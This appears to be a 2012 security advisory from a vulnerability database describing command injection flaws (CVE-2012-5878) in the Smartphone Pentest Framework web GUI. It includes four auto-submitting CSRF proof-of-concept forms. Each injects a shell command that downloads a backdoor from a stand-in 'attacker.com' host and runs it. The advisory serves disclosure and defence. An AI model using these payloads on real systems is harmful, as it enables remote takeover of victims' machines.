Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:28856
HistoryDec 11, 2012 - 12:00 a.m.

Multiple Command Execution Vulnerabilities in Smartphone Pentest Framework

2012-12-1100:00:00
vulners.com
39

Advisory ID: HTB23127
Product: Smartphone Pentest Framework (SPF)
Vendor: Bulb Security LLC
Vulnerable Versions: 0.1.3, 0.1.4 and probably prior
Tested Versions: 0.1.3, 0.1.4
Vendor Notification: November 19, 2012
Public Disclosure: December 10, 2012
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2012-5878
CVSSv2 Base Score: 8.3 (AV:A/AC:L/Au:N/C:C/I:C/A:C)
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )


Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple command execution vulnerabilities in Smartphone Pentest Framework (SPF) web-based GUI, which could be exploited to get control over a pentester's machine remotely.

Similar vulnerabilities were discovered (https://www.htbridge.com/advisory/HTB23123 , CVE-2012-5693) in the previous version (0.1.2) of SPF and were patched by vendor.

However, multiple CSRF vulnerabilities (HTB23123, CVE-2012-5695) were not patched by the vendor. Therefore even if the web server hosting SPF GUI is not accessible from the Internet (which is a case for the majority of pentesters) the vulnerabilities can still be easily exploited via a local/internal network, or even from the Internet via CSRF vector. In default installation of Smartphone Pentest Framework its web server port and application path of its GUI are easily predictable: localhost:80/frameworkgui/

Please refer to HTB23123 advisory (https://www.htbridge.com/advisory/HTB23122) for detailed attack scenarios examples.

1) Multiple OS Command Execution Vulnerabilities in Smartphone Pentest Framework (SPF): CVE-2012-5878

Multiple Perl scripts in the "/frameworkgui/" directory do not perform sanitation of user-supplied input passed as argument to the "system()" function. This could be exploited to inject and execute arbitrary OS commands on the target system with privileges of the web server user.

1.1 The vulnerability exists in "SEAttack.pl" script due to insufficient validation of user-supplied input passed via the "hostingPath" parameter. The vulnerability can be exploited remotely via CSRF vector.

The PoC code below will download a backdoor located on 'attacker.com' and run it on pentester's machine with privileges of the web server. Despite relatively low privileges attacker can always try to download all files accessible to him and/or escalate privileges to get remote root access to the system.

<form action="http://localhost/cgi-bin/frameworkgui/SEAttack.pl&quot; method="post" name=f1>
<input type="hidden" name="platformDD2" value='android' />
<input type="hidden" name="hostingPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.ch && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

1.2 The vulnerability exists in "CSAttack.pl" script due to insufficient validation of user-supplied input passed via the "hostingPath" parameter. The vulnerability can be exploited remotely via CSRF vector:

<form action="http://localhost/cgi-bin/frameworkgui/CSAttack.pl&quot; method="post" name=f1>
<input type="hidden" name="hostingPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

1.3 The vulnerability exists in "attachMobileModem.pl" script due to insufficient validation of user-supplied input passed via the "appURLPath" parameter. The vulnerability can be exploited remotely via CSRF vector:

<form action="http://localhost/cgi-bin/frameworkgui/attachMobileModem.pl&quot; method="post" name=f1>
<input type="hidden" name="appURLPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

1.4 The vulnerability exists in "guessPassword.pl" script due to insufficient validation of user-supplied input passed via the "ipAddressTB" parameter. The vulnerability can be exploited remotely via CSRF vector:

<form action="http://localhost/cgi-bin/frameworkgui/guessPassword.pl&quot; method="post" name=f1>
<input type="hidden" name="ipAddressTB" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>


Solution:

On December 5, 2012 vendor replied that vulnerabilities are patched. However, on the Disclosure date version 0.1.4 was still found to be vulnerable.

As a temporary solution remove or disable SPF's GUI.


References:

[1] High-Tech Bridge Advisory HTB23127 - https://www.htbridge.com/advisory/HTB23127 - Multiple Vulnerabilities in Smartphone Pentest Framework (SPF).
[2] Smartphone Pentest Framework (SPF) - http://www.bulbsecurity.com/smartphone-pentest-framework/ - Smartphone Pentest Framework is an open source security tool, designed to aid in assessing the security posture of smartphones in an environment.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.


Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.